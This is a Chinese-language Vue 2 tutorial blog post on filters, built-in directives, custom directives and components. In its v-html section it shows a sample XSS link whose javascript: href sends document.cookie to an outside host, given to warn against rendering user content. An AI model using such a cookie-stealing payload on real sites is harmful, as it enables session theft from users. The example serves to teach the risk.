Vue(三）——过滤器，内置指令，自定义指令，组件

🚩🚩🚩vue专栏：Vue全家桶

---

接上一篇：vue的几种属性，键盘事件，绑定样式，条件渲染，列表渲染等等。 🧨🧨🧨 [vue基础知识和原理（二）](https://blog.csdn.net/m0_61016904/article/details/126331794)

---

👍👍👍 希望各位博主多多支持！！！💖

1.16. 过滤器

🔮定义： 对要显示的数据进行特定格式化后再显示（适用于一些简单逻辑的处理）

过滤器可以用在两个地方：双花括号插值 或 v-bind表达式。

1.16.1. 局部过滤器

局部过滤器是在某一个vue实例的内容创建的，只在当前实例中起作用

<script>
export default {
  data() {
    return {
      price: 100
    };
  },
  filters: {
    filter_addbfh(value) {
      return value + '%';
    }
  }
};
</script>

1.16.2. 全局过滤器

🔮🔮🔮通过全局方式创建的过滤器，在任何一个vue实例中都可以使用
注意：使用全局过滤器的时候，需要先创建全局过滤器，再创建Vue实例

显示的内容,是由过滤器的返回值决定

使用语法: <h1>{{name | myfilter1}}</h1>

Vue.filter('filterName', function (value) {
  // value 表示要过滤的内容
})

💯💯💯示例（过滤器）：

<div id="root">
    <h2>显示格式化后的时间</h2>
    <!-- 计算属性实现 -->
    <h3>现在是：{{ fmtTime }}</h3>
    <!-- methods实现 -->
    <h3>现在是：{{ getFmtTime() }}</h3>
    <!-- 过滤器实现 -->
    <h3>现在是：{{time | timeFormater}}</h3>
    <!-- 过滤器实现（传参） -->
    <h3>现在是：{{time | timeFormater('YYYY_MM_DD') | mySlice}}</h3>
    <h3 :x="msg | mySlice">尚硅谷</h3>
</div>

<script type="text/javascript">
    Vue.config.productionTip = false
    //全局过滤器
    Vue.filter('mySlice',function(value){
        return value.slice(0,4)
    })

    new Vue({
        el:'#root',
        data:{
            time:1621561377603, //时间戳
            msg:'你好，尚硅谷'
        },
        computed: {
            fmtTime(){
                return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
            }
        },
        methods: {
            getFmtTime(){
                return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
            }
        },
        //局部过滤器
        filters:{
            timeFormater(value, str='YYYY年MM月DD日 HH:mm:ss'){
                // console.log('@',value)
                return dayjs(value).format(str)
            }
        }
    })
</script>

1.17. 内置指令

1.17.1. v-text指令

用处：向其所在的节点中渲染文本内容。

🌞🌞与插值语法的区别：v-text会替换掉节点中的内容，{{xx}}则不会。

<div id="root">
    <div>你好，{{name}}</div>
    <div v-text="name"></div>
    <div v-text="str"></div>
</div>

<script type="text/javascript">
    Vue.config.productionTip = false 
    new Vue({
        el:'#root',
        data:{
            name:'小溪',
            str:'<h3>你好啊！</h3>'
        }
    })
</script>

1.17.2. v-html指令：(使用的很少)

作用：向指定节点中渲染包含html结构的内容。

🌞🌞与插值语法的区别：

• v-html会替换掉节点中所有的内容，{{xx}}则不会。
• v-html可以识别html结构。

严重注意：v-html有安全性问题

• 在网站上动态渲染任意HTML是非常危险的，容易导致攻击。
• 一定要在可信的内容上使用v-html，不要用在用户提交的内容上

<div id="root">
    <div>你好，{{name}}</div>
    <div v-html="str"></div>
    <div v-html="str2"></div>
</div>

<script type="text/javascript">
    Vue.config.productionTip = false 
    new Vue({
        el:'#root',
        data:{
            name:'张三',
            str:'<h3>你好啊！</h3>',
            str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了，快来！</a>',
        }
    })
</script>

1.17.3. v-cloak指令（没有值）

使用css配合v-cloak可以解决网速慢时页面渲染不出来，而展示出{{xxx}}的问题。

<style>
    [v-cloak]{
        display:none;
    }
</style>
<div id="root">
    <h2 v-cloak>{{name}}</h2>
</div>
<script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>

<script type="text/javascript">
    console.log(1)
    Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

    new Vue({
        el:'#root',
        data:{
            name:'尚硅谷'
        }
    })
</script>

1.17.4. v-once指令

🌞🌞🌞

• v-once所在节点在初次动态渲染后，就视为静态内容了。
• 以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能。

<div id="root">
    <h2 v-once>初始化的n值是:{{ n }}</h2>
    <h2>当前的n值是:{{ n }}</h2>
    <button @click="n++">点我n+1</button>
</div>

<script type="text/javascript">
    Vue.config.productionTip = false 
    new Vue({
        el:'#root',
        data:{
            n:1
        }
    })
</script>

1.17.5. v-pre指令

🚩跳过其所在节点的编译过程 可利用它跳过：没有使用指令语法、没有使用插值语法的节点，会加快编译

<div id="root">
    <h2 v-pre>Vue其实很简单</h2>
    <h2 >当前的n值是:{{n}}</h2>
    <button @click="n++">点我n+1</button>
</div>
<script type="text/javascript">
    Vue.config.productionTip = false 
    new Vue({
        el:'#root',
        data:{
            n:1
        }
    })
</script>

1.18. 自定义指令

两个实例：

• 定义一个v-big指令，和v-text功能类似，但会把绑定的数值放大10倍。
• 定义一个v-fbind指令，和v-bind功能类似，但可以让其所绑定的input元素默认获取焦点。

语法：

💎局部指令：

directives: {
  focus: {
    // 指令的定义
    inserted: function (el) {
      el.focus()
    }
  }
}

💎全局指令：

<script>
    // 注册一个全局自定义指令 `v-focus`
    Vue.directive('focus', {
        // 当被绑定的元素插入到 DOM 中时……
        inserted: function (el) {
            // 聚焦元素
            el.focus()
        }
    })
</script>

配置对象中常用的3个回调：

• bind：指令与元素成功绑定时调用。
• inserted：指令所在元素被插入页面时调用。
• update：指令所在模板结构被重新解析时调用。

定义全局指令

<div id="root">
    <input type="text" v-fbind:value="n">
</div>
<script type="text/javascript">
    Vue.config.productionTip = false
    //定义全局指令
    Vue.directive('fbind', {
        // 指令与元素成功绑定时（一上来）
        bind(element, binding){
            element.value = binding.value
        },
        // 指令所在元素被插入页面时
        inserted(element, binding){
            element.focus()
        },
        // 指令所在的模板被重新解析时
        update(element, binding){
            element.value = binding.value
        }
    })
    
    new Vue({
        el:'#root',
        data:{
            name: '尚硅谷',
            n: 1
        }
    })

</script>

局部指令：

new Vue({
    el: '#root',
    data: {
        name:'尚硅谷',
        n:1
    },
    directives: {
        // big函数何时会被调用？1.指令与元素成功绑定时（一上来）。2.指令所在的模板被重新解析时。
        /* 'big-number'(element,binding){
                    // console.log('big')
                    element.innerText = binding.value * 10
                }, */
        big (element,binding){
            console.log('big',this) //注意此处的this是window
            // console.log('big')
            element.innerText = binding.value * 10
        },
        fbind: {
            //指令与元素成功绑定时（一上来）
            bind (element,binding){
                element.value = binding.value
            },
            //指令所在元素被插入页面时
            inserted (element,binding){
                element.focus()
            },
            //指令所在的模板被重新解析时
            update (element,binding){
                element.value = binding.value
            }
        }
    }
})

1.19. 非单文件组件

基本使用

Vue中使用组件的三大步骤：

• 定义组件(创建组件)
• 注册组件
• 使用组件(写组件标签)

定义组件

使用Vue.extend(options)创建，其中options和new Vue(options)时传入的那个options几乎一样，有点区别；

区别如下：

• el不要写 ——— 最终所有的组件都要经过一个vm的管理，由vm中的el决定服务哪个容器。
• data必须写成函数 ——— 避免组件被复用时，数据存在引用关系。

data必须写成函数：

创建一个组件案例：Vue.extend() 创建

    //第一步：创建school组件
    const school = Vue.extend({
        template:`
                <div class="demo">
                    <h2>学校名称：{{schoolName}}</h2>
                    <h2>学校地址：{{address}}</h2>
                    <button @click="showName">点我提示学校名</button>    
    </div>
            `,
        // el:'#root', //组件定义时，一定不要写el配置项，因为最终所有的组件都要被一个vm管理，由vm决定服务于哪个容器。
        data(){
            return {
                schoolName:'尚硅谷',
                address:'北京昌平'
            }
        },
        methods: {
            showName(){
                alert(this.schoolName)
            }
        },
    })

    //第一步：创建student组件
    const student = Vue.extend({
        template:`
                <div>
                    <h2>学生姓名：{{studentName}}</h2>
                    <h2>学生年龄：{{age}}</h2>
    </div>
            `,
        data(){
            return {
                studentName:'张三',
                age:18
            }
        }
    })
    //第一步：创建hello组件
    const hello = Vue.extend({
        template:`
                <div>    
                    <h2>你好啊！{{name}}</h2>
            </div>
            `,
        data(){
            return {
                name:'Tom'
            }
        }
    })

注册组件

• 局部注册：靠new Vue的时候传入components选项
• 全局注册：靠Vue.component('组件名',组件)

注意点：

组件名：

• 一个单词组成：

  - 第一种写法(首字母小写)：school
  - 第二种写法(首字母大写)：School

• 多个单词组成：

  - 第一种写法(kebab-case命名)：my-school
  - 第二种写法(CamelCase命名)：MySchool (需要Vue脚手架支持)
  

备注：

(1).组件名尽可能回避HTML中已有的元素名称，例如：h2、H2都不行。

(2).可以使用name配置项指定组件在开发者工具中呈现的名字。

VueComponent

• school组件本质是一个名为VueComponent的构造函数，是Vue.extend生成的。
• 我们只需要写<school/>或<school></school>，Vue解析时会帮我们创建school组件的实例对象，即Vue帮我们执行的：new VueComponent(options)。

💎关于this指向：

• 组件配置中：data函数、methods中的函数、watch中的函数、computed中的函数

         它们的this均是【VueComponent实例对象】

• new Vue(options)配置中：data函数、methods中的函数、watch中的函数、computed中的函数 它们的this均是【Vue实例对象】

• VueComponent的实例对象，以后简称vc（也可称之为：组件实例对象）。Vue的实例对象，以后简称vm

内置关系

🔮 VueComponent.prototype.__proto__ === Vue.prototype